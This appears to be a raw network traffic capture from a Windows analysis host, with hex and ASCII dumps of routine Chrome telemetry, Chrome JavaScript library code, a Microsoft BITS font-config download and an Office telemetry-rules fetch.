2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-11 18:52:08 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49722	142.250.186.110	443	5596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:09 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:52:09 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 35 31 31 32 36 37 35 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731351126753",null,null,null,
2024-11-11 18:52:09 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=zHYNArsi7jFwUZo8NgewGUqmjDihXXnsl0FGEdhJuTkox8VAHd5bc3BDinDaLxr4oVjPhhwMRQPoTqRxqecQVECIKun0CvrhjgSBkgmroLL7kLybSd-KTpVTuAL2tNpmkDEUzGRIu1AdBzDZ8AMRh5LrXeA8UOItaTg5K8ePh5UWgqx-jfQSEog; expires=Tue, 13-May-2025 18:52:09 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 18:52:09 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 18:52:09 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 18:52:09 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 18:52:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:10 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 18:52:10 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=251612 Date: Mon, 11 Nov 2024 18:52:10 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49729	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:11 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 18:52:11 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=251574 Date: Mon, 11 Nov 2024 18:52:11 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-11 18:52:11 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	142.250.186.110	443	5596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:11 UTC	927	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=zHYNArsi7jFwUZo8NgewGUqmjDihXXnsl0FGEdhJuTkox8VAHd5bc3BDinDaLxr4oVjPhhwMRQPoTqRxqecQVECIKun0CvrhjgSBkgmroLL7kLybSd-KTpVTuAL2tNpmkDEUzGRIu1AdBzDZ8AMRh5LrXeA8UOItaTg5K8ePh5UWgqx-jfQSEog
2024-11-11 18:52:11 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 35 31 31 32 38 33 38 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731351128386",null,null,null,
2024-11-11 18:52:11 UTC	949	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=UFLbZgWPFUPk8kid-JNgAg-ddSPg__sE27h0EuIJ1LoNvG8C1eMsPisY-a9nCTGP-bHsUGjqCf2Wq6f2wKEjNzfh7rtm-f8LcI95LngeLFaZDJS5f1TekOf-_oADzky_2zwQUd5BTk2Vxq3u1oID40m3U2PD58TBZbvhkxrW1HotWGxOcKJrNms_abxiIJs; expires=Tue, 13-May-2025 18:52:11 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 18:52:11 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 18:52:11 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 18:52:11 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 18:52:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:17 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 09 Nov 2024 18:56:51 GMT ETag: "0x8DD00F04568BDCF" x-ms-request-id: a2ad2bd1-f01e-0096-27d5-3310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185217Z-174f78459685726chC1EWRsnbg00000005b000000000hy2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
